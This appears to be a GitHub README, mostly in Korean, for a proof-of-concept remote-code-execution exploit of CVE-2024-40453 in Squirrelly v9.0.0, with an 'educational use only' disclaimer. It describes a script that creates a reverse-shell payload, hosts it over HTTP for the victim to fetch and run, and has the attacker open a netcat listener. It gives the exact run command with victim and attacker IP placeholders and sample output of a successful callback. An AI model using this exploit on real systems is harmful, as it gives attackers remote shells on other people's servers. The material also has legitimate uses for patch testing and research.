bwithe/cve-2024-40453CVE-2024-40453 - Squirrelly v9.0.0 RCE. Poc
이 스크립트는 교육 목적으로만 사용해야 합니다.
불법적인 목적으로 사용하지 마십시오.
만약 그렇게 한다면 전적으로 귀하의 책임이며, 저는 어떠한 오용에 대해서도 책임을 지지 않습니다.
이 스크립트는 현재 디렉토리에 payload.sh라는 리버스 셸을 생성합니다.
그런 다음 포트 80에서 HTTP 서버를 호스팅하여 피해자가 payload.sh를 가져올 수 있도록 합니다.
공격자 시스템에서 리스너를 시작해야 합니다.
HTTP 서버는 3초 후에 종료되어 피해자가 payload.sh를 가져와 실행할 수 있도록 합니다.
다음 정보를 바탕으로 이 PoC가 개발되었습니다. https://samuzora.com/posts/cve-2024-40453
리스너를 시작하세요
rlwrap nc -nvlp 3000
페이로드를 실행하세요
# python3 poc.py -rhost <VICTIM_IP> -rport <VICTIM_PORT> -lhost <ATTACKER_IP> -lport <ATTACKER_LISTENER_PORT>
python3 poc.py -rhost 172.16.0.2 -rport 3000 -lhost 172.16.0.1 -lport 3000
[+] Payload created at payload.sh
[*] Hosting HTTP server on port 80
[*] Triggering remote execution
172.16.0.2 - - [13/Jun/2025 22:21:10] "GET /payload.sh HTTP/1.1" 200 -
[*] Shutting down HTTP server on port 80
[!] Check your listener!